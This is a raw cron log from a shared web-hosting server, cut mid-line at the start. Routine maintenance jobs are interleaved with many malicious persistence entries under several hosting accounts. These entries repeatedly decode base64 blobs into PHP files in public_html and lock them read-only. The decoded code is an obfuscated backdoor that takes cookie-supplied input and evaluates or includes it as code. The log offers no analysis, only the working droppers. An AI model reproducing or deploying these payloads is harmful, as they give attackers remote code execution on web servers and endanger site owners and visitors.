CAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:49:02 medusa CROND[21295]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:49:02 medusa CROND[21298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:49:02 medusa CROND[21299]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:49:02 medusa CROND[21303]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:49:02 medusa CROND[21307]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:49:02 medusa CROND[21311]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:49:02 medusa CROND[21312]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:49:02 medusa CROND[21306]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:50:01 medusa CROND[9483]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 21:50:01 medusa CROND[9512]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:50:01 medusa CROND[9514]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 21:50:02 medusa CROND[9836]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 21:50:02 medusa CROND[9846]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 21:50:02 medusa CROND[9847]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:50:02 medusa CROND[9845]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 21:50:02 medusa CROND[9849]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 21:50:02 medusa CROND[9852]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 21:50:02 medusa CROND[9853]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:50:02 medusa CROND[9851]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 21:50:02 medusa CROND[9856]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:50:02 medusa CROND[9864]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:50:02 medusa CROND[9865]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:50:02 medusa CROND[9867]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:50:02 medusa CROND[9868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:50:02 medusa CROND[9869]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 21:50:02 medusa CROND[9871]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 21:50:02 medusa CROND[9870]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 21:50:02 medusa CROND[9880]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 21:50:02 medusa CROND[9883]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:50:02 medusa CROND[9884]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 21:50:02 medusa CROND[9887]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:50:02 medusa CROND[9891]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 21:50:02 medusa CROND[9886]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 21:50:02 medusa CROND[9876]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 21:50:02 medusa CROND[9885]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 21:50:02 medusa CROND[9863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 21:50:02 medusa CROND[9898]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:50:02 medusa CROND[9890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:51:01 medusa CROND[29034]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 21:51:01 medusa CROND[29035]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 21:51:01 medusa CROND[29036]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:51:01 medusa CROND[29043]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:51:01 medusa CROND[29042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:51:01 medusa CROND[29046]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:51:01 medusa CROND[29045]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
